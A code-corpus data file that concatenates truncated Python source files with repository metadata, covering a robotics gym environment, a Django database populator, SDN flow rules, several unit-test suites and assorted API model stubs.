a659fc91a0f54f321dc15f064a3206a3f8a67ad1 | 45,362 | py | Python | gym_environments/gym_shadow_hand/envs/reach_env.py | szahlner/shadow-teleop | 360c7d7c2586e9295c45fca0b4850b43d230bcda | [
"MIT"
] | 1 | 2022-03-02T20:27:20.000Z | 2022-03-02T20:27:20.000Z | gym_environments/gym_shadow_hand/envs/reach_env.py | szahlner/shadow-teleop | 360c7d7c2586e9295c45fca0b4850b43d230bcda | [
"MIT"
] | null | null | null | gym_environments/gym_shadow_hand/envs/reach_env.py | szahlner/shadow-teleop | 360c7d7c2586e9295c45fca0b4850b43d230bcda | [
"MIT"
] | null | null | null | import os
import numpy as np
import pybullet
from gym import spaces
from gym import utils
from gym_shadow_hand.envs.pybullet_env import PyBulletEnv, PyBulletGoalEnv
MODEL_PATH = "shadow_hand_right.urdf"
SPHERE_GREEN_PATH = os.path.join(os.path.dirname(__file__), "assets", "urdf", "sphere_green.urdf")
SPHERE_BLUE_PATH ... | 43.955426 | 120 | 0.565914 | 4,927 | 45,362 | 4.968135 | 0.079562 | 0.035052 | 0.054171 | 0.036768 | 0.911267 | 0.906692 | 0.906692 | 0.899379 | 0.892883 | 0.891331 | 0 | 0.042558 | 0.344738 | 45,362 | 1,031 | 121 | 43.99806 | 0.780951 | 0.123804 | 0 | 0.862385 | 0 | 0 | 0.024081 | 0.000565 | 0 | 0 | 0 | 0 | 0.004587 | 1 | 0.056575 | false | 0.004587 | 0.009174 | 0 | 0.122324 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a65db682fc31104406ff54fa459433913260269b | 3,723 | py | Python | utils/scripts/OOOlevelGen/src/daily_levels/184.py | fullscreennl/monkeyswipe | c56192e202674dd5ab18023f6cf14cf51e95fbd0 | [
"MIT"
] | null | null | null | utils/scripts/OOOlevelGen/src/daily_levels/184.py | fullscreennl/monkeyswipe | c56192e202674dd5ab18023f6cf14cf51e95fbd0 | [
"MIT"
] | null | null | null | utils/scripts/OOOlevelGen/src/daily_levels/184.py | fullscreennl/monkeyswipe | c56192e202674dd5ab18023f6cf14cf51e95fbd0 | [
"MIT"
] | null | null | null | import LevelBuilder
from sprites import *
def render(name,bg):
lb = LevelBuilder.LevelBuilder(name+".plist",background=bg)
lb.addObject(Beam.BeamSprite(x=259, y=221,width=127,height=14,angle='0',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam'))
lb.addObject(Beam.BeamSprite(x=412, y=221,width=1... | 3,723 | 3,723 | 0.745367 | 654 | 3,723 | 4.233945 | 0.155963 | 0.103286 | 0.083062 | 0.141206 | 0.810762 | 0.791983 | 0.789455 | 0.742145 | 0.739256 | 0.731311 | 0 | 0.116621 | 0.030352 | 3,723 | 1 | 3,723 | 3,723 | 0.650416 | 0 | 0 | 0 | 0 | 0 | 0.066058 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032258 | false | 0 | 0.064516 | 0 | 0.096774 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a66d52d821ba74a689420e2ae8fdd36d3391e527 | 84,176 | py | Python | static_files/manager/views/populate_db_update.py | davhanks/digitalmyworld | 0f718be3967d399dddc6105f0b9d4cbc0ab35764 | [
"Apache-2.0"
] | null | null | null | static_files/manager/views/populate_db_update.py | davhanks/digitalmyworld | 0f718be3967d399dddc6105f0b9d4cbc0ab35764 | [
"Apache-2.0"
] | null | null | null | static_files/manager/views/populate_db_update.py | davhanks/digitalmyworld | 0f718be3967d399dddc6105f0b9d4cbc0ab35764 | [
"Apache-2.0"
] | null | null | null | from django import forms
from django.conf import settings
from django.http import HttpResponse, HttpResponseRedirect, Http404
from homepage.models import *
from manager import models as mmod
from . import templater
from datetime import datetime
import random
def process_request(request):
'''populate_db'''
# Assets
... | 23.744993 | 112 | 0.67006 | 12,242 | 84,176 | 4.504411 | 0.054321 | 0.044394 | 0.027129 | 0.054259 | 0.901202 | 0.887837 | 0.867381 | 0.860055 | 0.847723 | 0.844459 | 0 | 0.036804 | 0.157836 | 84,176 | 3,544 | 113 | 23.751693 | 0.741064 | 0.077932 | 0 | 0.863392 | 0 | 0.002686 | 0.12679 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.000384 | false | 0.000384 | 0.00307 | 0 | 0.003837 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a6d6639dc67131aaec413878a17e44c0ff579a64 | 3,072 | py | Python | terrascript/pingfederate/r.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 507 | 2017-07-26T02:58:38.000Z | 2022-01-21T12:35:13.000Z | terrascript/pingfederate/r.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 135 | 2017-07-20T12:01:59.000Z | 2021-10-04T22:25:40.000Z | terrascript/pingfederate/r.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 81 | 2018-02-20T17:55:28.000Z | 2022-01-31T07:08:40.000Z | # terrascript/pingfederate/r.py
# Automatically generated by tools/makecode.py ()
import warnings
warnings.warn(
"using the 'legacy layout' is deprecated", DeprecationWarning, stacklevel=2
)
import terrascript
class pingfederate_authentication_api_application(terrascript.Resource):
pass
class pingfederate... | 19.443038 | 86 | 0.828125 | 322 | 3,072 | 7.552795 | 0.232919 | 0.258635 | 0.349918 | 0.414474 | 0.79852 | 0.765625 | 0.455181 | 0.179276 | 0.110197 | 0 | 0 | 0.000369 | 0.117513 | 3,072 | 157 | 87 | 19.566879 | 0.896717 | 0.025065 | 0 | 0.468354 | 1 | 0 | 0.013035 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.481013 | 0.025316 | 0 | 0.493671 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
a6d66f0bdae201c294d6c03ef9c24d24dd6968a9 | 15,200 | py | Python | api/radiam/api/tests/permissionstests/projectpermissionstests.py | usask-rc/radiam | bfa38fd33e211b66e30e453a717c5f216e848cb2 | [
"MIT"
] | 2 | 2020-02-01T20:41:28.000Z | 2020-02-03T20:57:59.000Z | api/radiam/api/tests/permissionstests/projectpermissionstests.py | usask-rc/radiam | bfa38fd33e211b66e30e453a717c5f216e848cb2 | [
"MIT"
] | 10 | 2020-04-20T15:52:49.000Z | 2020-04-30T18:03:09.000Z | api/radiam/api/tests/permissionstests/projectpermissionstests.py | usask-rc/radiam | bfa38fd33e211b66e30e453a717c5f216e848cb2 | [
"MIT"
] | null | null | null | import json
from unittest import mock
from rest_framework.test import APITestCase
from rest_framework.test import APIRequestFactory
from rest_framework.test import force_authenticate
from django.urls import reverse
from radiam.api.models import (
Project, User, ResearchGroup, DistributionRestriction, DataCollec... | 30.460922 | 101 | 0.608289 | 1,575 | 15,200 | 5.730159 | 0.095238 | 0.065817 | 0.033241 | 0.037895 | 0.911801 | 0.881108 | 0.867812 | 0.858061 | 0.826814 | 0.816953 | 0 | 0.021317 | 0.280921 | 15,200 | 498 | 102 | 30.522088 | 0.804392 | 0.089605 | 0 | 0.805825 | 0 | 0 | 0.13227 | 0.04582 | 0 | 0 | 0 | 0 | 0.058252 | 1 | 0.071197 | false | 0 | 0.02589 | 0 | 0.122977 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
472248ae940a907dfe009c4e25089f0b3797996d | 273 | py | Python | py_file_carving/libary/plugins/private_keys/__init__.py | wahlflo/pyFileCarving | 7bbbbedccb551273fd4b22614c86f51bc876bd78 | [
"MIT"
] | null | null | null | py_file_carving/libary/plugins/private_keys/__init__.py | wahlflo/pyFileCarving | 7bbbbedccb551273fd4b22614c86f51bc876bd78 | [
"MIT"
] | null | null | null | py_file_carving/libary/plugins/private_keys/__init__.py | wahlflo/pyFileCarving | 7bbbbedccb551273fd4b22614c86f51bc876bd78 | [
"MIT"
] | null | null | null | from .encrypted_private_key import EncryptedPrivateKey
from .encrypted_private_key import EncryptedPrivateKey
from .private_dsa_key import PrivateDSAKey
from .private_ec_key import PrivateECKey
from .private_key import PrivateKey
from .private_rsa_key import PrivateRsaKey
| 39 | 54 | 0.89011 | 35 | 273 | 6.628571 | 0.371429 | 0.232759 | 0.206897 | 0.198276 | 0.431034 | 0.431034 | 0.431034 | 0 | 0 | 0 | 0 | 0 | 0.087912 | 273 | 6 | 55 | 45.5 | 0.931727 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
4730ae1bd77b41a2295a7ea5e89a26ebeb330b15 | 27,444 | py | Python | src/test/python/thalesians/tsa/testutils.py | saarahrasheed/tsa | e4460f707eeecb737663c48d8fc3245f0acb124c | [
"Apache-2.0"
] | null | null | null | src/test/python/thalesians/tsa/testutils.py | saarahrasheed/tsa | e4460f707eeecb737663c48d8fc3245f0acb124c | [
"Apache-2.0"
] | null | null | null | src/test/python/thalesians/tsa/testutils.py | saarahrasheed/tsa | e4460f707eeecb737663c48d8fc3245f0acb124c | [
"Apache-2.0"
] | null | null | null | import datetime as dt
import unittest
import numpy as np
import numpy.testing as npt
import thalesians.tsa.intervals as intervals
import thalesians.tsa.utils as utils
# In case you are interested, the numbers used in these tests come from the A000108 sequence (Catalan numbers).
class TestUtils(unittest.TestCase):
... | 65.655502 | 160 | 0.600969 | 4,094 | 27,444 | 3.961651 | 0.039326 | 0.079536 | 0.09865 | 0.134102 | 0.94975 | 0.870584 | 0.825698 | 0.821937 | 0.81386 | 0.734694 | 0 | 0.129122 | 0.223109 | 27,444 | 418 | 161 | 65.655502 | 0.631584 | 0.003972 | 0 | 0.257618 | 0 | 0 | 0.006768 | 0 | 0 | 0 | 0 | 0 | 0.445983 | 1 | 0.022161 | false | 0 | 0.016621 | 0 | 0.041551 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5b3ddd533ccfc396566eefd0138e38771245b2b3 | 3,049 | py | Python | labvision/images/tests/test_cropping.py | Pollynm/labvision | 3df6c32b155bf593750138ab2f7a3d9ad42539e2 | [
"MIT"
] | null | null | null | labvision/images/tests/test_cropping.py | Pollynm/labvision | 3df6c32b155bf593750138ab2f7a3d9ad42539e2 | [
"MIT"
] | 12 | 2020-10-07T08:52:53.000Z | 2022-01-18T09:51:14.000Z | labvision/images/tests/test_cropping.py | Pollynm/labvision | 3df6c32b155bf593750138ab2f7a3d9ad42539e2 | [
"MIT"
] | 1 | 2021-07-06T13:07:47.000Z | 2021-07-06T13:07:47.000Z | from unittest import TestCase
from labvision import data_dir, images
import os
class TestBasicCropping(TestCase):
def test(self):
filepath = os.path.join(data_dir, "maxresdefault.jpg")
im = images.read_img(filepath)
bbox = images.BBox(100, 200, 100, 200)
im = images.crop(im, bbox)... | 39.089744 | 63 | 0.644802 | 405 | 3,049 | 4.693827 | 0.133333 | 0.084166 | 0.051552 | 0.066281 | 0.866912 | 0.851131 | 0.851131 | 0.851131 | 0.851131 | 0.851131 | 0 | 0.013781 | 0.238439 | 3,049 | 78 | 64 | 39.089744 | 0.80491 | 0 | 0 | 0.828571 | 0 | 0 | 0.103934 | 0 | 0 | 0 | 0 | 0 | 0.1 | 1 | 0.1 | false | 0 | 0.042857 | 0 | 0.2 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5b8377ca0d360f5515e99d1df46346da7e34367e | 98 | py | Python | xkbparse/__init__.py | svenlr/xkbparse | b509576f6d9098c3ed3c4c9da4d6f23e75a29efd | [
"MIT"
] | null | null | null | xkbparse/__init__.py | svenlr/xkbparse | b509576f6d9098c3ed3c4c9da4d6f23e75a29efd | [
"MIT"
] | null | null | null | xkbparse/__init__.py | svenlr/xkbparse | b509576f6d9098c3ed3c4c9da4d6f23e75a29efd | [
"MIT"
] | null | null | null | from .grammar_key_desc import *
from .grammar_actions import *
from .grammar_xkb_symbols import *
| 24.5 | 34 | 0.816327 | 14 | 98 | 5.357143 | 0.571429 | 0.44 | 0.453333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122449 | 98 | 3 | 35 | 32.666667 | 0.872093 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
5b8b9a6ea6846ec13bce2fc87144c48526bb4f69 | 10,210 | py | Python | tests/test_broken_queue_state.py | huntflow/yatq | 7b882f1a74681d50bd8d4729d35418ce40504d6e | [
"MIT"
] | null | null | null | tests/test_broken_queue_state.py | huntflow/yatq | 7b882f1a74681d50bd8d4729d35418ce40504d6e | [
"MIT"
] | 1 | 2021-08-31T07:33:45.000Z | 2021-08-31T07:33:45.000Z | tests/test_broken_queue_state.py | huntflow/yatq | 7b882f1a74681d50bd8d4729d35418ce40504d6e | [
"MIT"
] | 1 | 2021-08-07T07:57:25.000Z | 2021-08-07T07:57:25.000Z | import pytest
from tests.conftest import zadd_single
from yatq.enums import RetryPolicy
from yatq.exceptions import RescheduledTaskMissing
@pytest.mark.asyncio
async def test_get_task_missing_data(task_queue, queue_checker, queue_breaker):
task_id = await task_queue.add_task({"test": "test"})
await queue_ch... | 34.033333 | 85 | 0.774045 | 1,519 | 10,210 | 4.81501 | 0.042133 | 0.195242 | 0.248701 | 0.336478 | 0.960077 | 0.955155 | 0.955018 | 0.949549 | 0.933279 | 0.924938 | 0 | 0.017412 | 0.139373 | 10,210 | 299 | 86 | 34.147157 | 0.814954 | 0 | 0 | 0.875 | 0 | 0 | 0.020666 | 0 | 0 | 0 | 0 | 0 | 0.578704 | 1 | 0 | false | 0 | 0.018519 | 0 | 0.018519 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
5bdeef7f5fe611785015179fed6506f9169ef79d | 3,833 | py | Python | resources/dbcommands.py | bharshbarger/AutoExternal | 3ca844392198001dfbc97d2e5442c65ad1d4854f | [
"MIT"
] | null | null | null | resources/dbcommands.py | bharshbarger/AutoExternal | 3ca844392198001dfbc97d2e5442c65ad1d4854f | [
"MIT"
] | null | null | null | resources/dbcommands.py | bharshbarger/AutoExternal | 3ca844392198001dfbc97d2e5442c65ad1d4854f | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import sqlite3
class Database:
def __init__(self, clientName):
self.autoExtDB = 'AutoExt.db'
self.clientName = clientName
def connect(self):
try:
dbconn = sqlite3.connect(self.autoExtDB)
except sqlite3.Error as e:
print("[-] Database Error: %s" % e.args[0])
return dbconn... | 23.660494 | 91 | 0.618576 | 553 | 3,833 | 4.037975 | 0.164557 | 0.040305 | 0.056426 | 0.062696 | 0.892521 | 0.892521 | 0.892521 | 0.892521 | 0.892521 | 0.892521 | 0 | 0.014646 | 0.23402 | 3,833 | 162 | 92 | 23.660494 | 0.745913 | 0.186016 | 0 | 0.822222 | 0 | 0 | 0.29075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.011111 | 0 | 0.1 | 0.211111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
75308a7272c5c53686e94d5cbf710e7f29cb6767 | 20,581 | py | Python | SDNController_ncds/FlowCreator.py | yxliaoyx/master | 8c546e44363236734fc3c09c6ee08f8054f7cfd6 | [
"CC0-1.0"
] | 10 | 2016-12-13T06:20:35.000Z | 2021-01-13T06:20:50.000Z | SDNController_ncds/FlowCreator.py | yxliaoyx/master | 8c546e44363236734fc3c09c6ee08f8054f7cfd6 | [
"CC0-1.0"
] | 1 | 2020-11-17T13:47:58.000Z | 2020-11-17T13:47:58.000Z | SDNController_ncds/FlowCreator.py | yxliaoyx/master | 8c546e44363236734fc3c09c6ee08f8054f7cfd6 | [
"CC0-1.0"
] | 9 | 2016-10-28T12:32:50.000Z | 2021-08-25T12:25:58.000Z |
from pox.core import core
import pox.openflow.libopenflow_01 as of
import pox.openflow.nicira as nx
from pox.lib.packet.ethernet import ethernet
import pox.lib.packet.ipv4 as ipv4
from pox.lib.addresses import IPAddr, EthAddr
log = core.getLogger()
FLOW_TIMEOUT=0
class FlowCreator(object):
def generateRules(se... | 61.61976 | 219 | 0.596424 | 2,518 | 20,581 | 4.640985 | 0.056394 | 0.061698 | 0.100633 | 0.106281 | 0.924611 | 0.900565 | 0.889868 | 0.876947 | 0.862399 | 0.856324 | 0 | 0.007516 | 0.288907 | 20,581 | 333 | 220 | 61.804805 | 0.790981 | 0.191536 | 0 | 0.808219 | 0 | 0 | 0.001123 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004566 | false | 0 | 0.027397 | 0 | 0.041096 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f352b2d10095c3708d471b32124bec2b36195537 | 44 | py | Python | modules/smtp/strong_password/files/smtpd_server/secure_smtpd/config/__init__.py | zdresearch/Python-Honeypot | be6d9b49a3c3b873f5bcce8cc9d0bdc4df3ae4d8 | [
"Apache-2.0"
] | 186 | 2020-09-29T16:28:43.000Z | 2022-03-29T05:57:10.000Z | modules/smtp/strong_password/files/smtpd_server/secure_smtpd/config/__init__.py | zdresearch/Python-Honeypot | be6d9b49a3c3b873f5bcce8cc9d0bdc4df3ae4d8 | [
"Apache-2.0"
] | 107 | 2018-07-08T21:06:56.000Z | 2020-09-25T10:36:34.000Z | modules/smtp/strong_password/files/smtpd_server/secure_smtpd/config/__init__.py | zdresearch/Python-Honeypot | be6d9b49a3c3b873f5bcce8cc9d0bdc4df3ae4d8 | [
"Apache-2.0"
] | 67 | 2019-02-12T15:47:54.000Z | 2022-03-28T11:15:30.000Z | from . import log
from .log import LOG_NAME
| 14.666667 | 25 | 0.772727 | 8 | 44 | 4.125 | 0.5 | 0.545455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 44 | 2 | 26 | 22 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f35e5266be1f345348cc62bf82c585a554b0f6d5 | 496 | py | Python | daterecognition/formats.py | samitshah1/daterecognition | 8c5fac0d72235a4efa1957163689ebcddb44a6d3 | [
"MIT"
] | null | null | null | daterecognition/formats.py | samitshah1/daterecognition | 8c5fac0d72235a4efa1957163689ebcddb44a6d3 | [
"MIT"
] | null | null | null | daterecognition/formats.py | samitshah1/daterecognition | 8c5fac0d72235a4efa1957163689ebcddb44a6d3 | [
"MIT"
] | null | null | null | USA = [
'%b %d %Y',
'%b %-d %Y',
'%b %d, %Y',
'%b %-d, %Y',
'%B %d, %Y',
'%B %-d, %Y',
'%B %d %Y',
'%B %-d %Y',
'%m/%d/%Y',
'%m/%-d/%Y',
'%m/%d/%y',
'%m/%-d/%y',
'%o of %B, %Y',
'%B %o, %Y'
]
EU = [
'%b %d %Y',
'%b %-d %Y',
'%b %d, %Y',
'%b %-d, %... | 14.588235 | 19 | 0.1875 | 88 | 496 | 1.056818 | 0.090909 | 0.430108 | 0.516129 | 0.602151 | 0.946237 | 0.946237 | 0.946237 | 0.946237 | 0.774194 | 0.774194 | 0 | 0 | 0.385081 | 496 | 33 | 20 | 15.030303 | 0.304918 | 0 | 0 | 0.625 | 0 | 0 | 0.512097 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
f389b0eb237f9aa51b5fe7bc84528824ac2691e4 | 58,205 | py | Python | api/test_app.py | fras2560/Facebook-Bot | a891f1bcda753e56a2371166d22c93c9e7b56027 | [
"MIT"
] | 1 | 2021-04-22T02:06:25.000Z | 2021-04-22T02:06:25.000Z | api/test_app.py | Major-League-Summer-Baseball/Facebook-Bot | a891f1bcda753e56a2371166d22c93c9e7b56027 | [
"MIT"
] | 2 | 2020-05-21T01:53:41.000Z | 2020-05-21T01:53:52.000Z | api/test_app.py | Major-League-Summer-Baseball/Facebook-Bot | a891f1bcda753e56a2371166d22c93c9e7b56027 | [
"MIT"
] | null | null | null | '''
Created on May 6, 2017
@author: Dallas
'''
import unittest
from datetime import datetime
import requests
from api import get_postback_payload, get_payload, format_game,\
random_fun_comment, random_emoji, random_intro,\
random_sass, random_compliment, base_options,\
d... | 41.456553 | 100 | 0.504338 | 5,302 | 58,205 | 5.384006 | 0.068842 | 0.153437 | 0.056751 | 0.097457 | 0.857493 | 0.838927 | 0.819169 | 0.806698 | 0.785154 | 0.772823 | 0 | 0.01558 | 0.373662 | 58,205 | 1,403 | 101 | 41.486101 | 0.767446 | 0.02864 | 0 | 0.820369 | 0 | 0.00401 | 0.125496 | 0.001948 | 0 | 0 | 0 | 0 | 0.234162 | 1 | 0.048115 | false | 0.008821 | 0.005613 | 0 | 0.06255 | 0.006415 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f3b1a858d5939af02a0c98be187aa6e7c004278a | 63,079 | py | Python | site/source/api_items.py | RyanCargan/emscripten | 6d3859f88e1d6394395760153c0a8cfa6a876ac7 | [
"MIT"
] | 1 | 2021-02-12T14:04:16.000Z | 2021-02-12T14:04:16.000Z | site/source/api_items.py | RyanCargan/emscripten | 6d3859f88e1d6394395760153c0a8cfa6a876ac7 | [
"MIT"
] | 3 | 2021-12-09T02:37:35.000Z | 2022-03-11T01:50:45.000Z | site/source/api_items.py | RyanCargan/emscripten | 6d3859f88e1d6394395760153c0a8cfa6a876ac7 | [
"MIT"
] | 1 | 2021-08-17T08:00:15.000Z | 2021-08-17T08:00:15.000Z | # Auto-generated file (see get_api_items.py)
def get_mapped_items():
mapped_wiki_inline_code = dict()
mapped_wiki_inline_code['*emscripten_get_preloaded_image_data'] = ':c:func:`*emscripten_get_preloaded_image_data`'
mapped_wiki_inline_code['*emscripten_get_preloaded_image_data()'] = ':c:func:`*emscripten... | 94.855639 | 154 | 0.788408 | 8,112 | 63,079 | 5.566322 | 0.049063 | 0.146166 | 0.233866 | 0.292333 | 0.893409 | 0.858196 | 0.824955 | 0.790406 | 0.781813 | 0.778093 | 0 | 0.001642 | 0.073368 | 63,079 | 664 | 155 | 94.998494 | 0.770868 | 0.000666 | 0 | 0 | 1 | 0 | 0.6122 | 0.538653 | 0 | 0 | 0 | 0 | 0 | 1 | 0.001513 | false | 0 | 0 | 0 | 0.003026 | 0.006051 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
f3b95a2d02e99874297bc97b48762148e54a944c | 16,413 | py | Python | decora_wifi/models/whitelist.py | 7ooL/api_decora | 6a92a2d20c47e5b10702778255a863643cca3665 | [
"MIT"
] | null | null | null | decora_wifi/models/whitelist.py | 7ooL/api_decora | 6a92a2d20c47e5b10702778255a863643cca3665 | [
"MIT"
] | null | null | null | decora_wifi/models/whitelist.py | 7ooL/api_decora | 6a92a2d20c47e5b10702778255a863643cca3665 | [
"MIT"
] | null | null | null | # Leviton Cloud Services API model Whitelist.
# Auto-generated by api_scraper.py.
#
# Copyright 2017 Tim Lyakhovetskiy <tlyakhov@gmail.com>
#
# This code is released under the terms of the MIT license. See the LICENSE
# file for more details.
from ..base_model import BaseModel
class Whitelist(BaseModel):
def __in... | 37.133484 | 101 | 0.624992 | 1,869 | 16,413 | 5.300696 | 0.053505 | 0.065509 | 0.070657 | 0.085798 | 0.935399 | 0.93328 | 0.925305 | 0.921873 | 0.908045 | 0.899061 | 0 | 0.005059 | 0.265399 | 16,413 | 441 | 102 | 37.217687 | 0.816621 | 0.013891 | 0 | 0.792244 | 1 | 0 | 0.106578 | 0.083272 | 0 | 0 | 0 | 0 | 0 | 1 | 0.141274 | false | 0 | 0.047091 | 0 | 0.32964 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f3c5e30e7f494c1ce3b2018b546c99c6dc9627ff | 10,478 | py | Python | agent/tests/provides.py | aeolusproject/audrey | 2933aae3a4023074b44880f7b878f576fa9d8b60 | [
"Apache-2.0"
] | 1 | 2018-01-26T05:26:10.000Z | 2018-01-26T05:26:10.000Z | agent/tests/provides.py | aeolusproject/audrey | 2933aae3a4023074b44880f7b878f576fa9d8b60 | [
"Apache-2.0"
] | null | null | null | agent/tests/provides.py | aeolusproject/audrey | 2933aae3a4023074b44880f7b878f576fa9d8b60 | [
"Apache-2.0"
] | 2 | 2015-10-19T08:41:29.000Z | 2018-08-21T21:25:06.000Z | '''
*
* Copyright [2011] [Red Hat, Inc.]
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
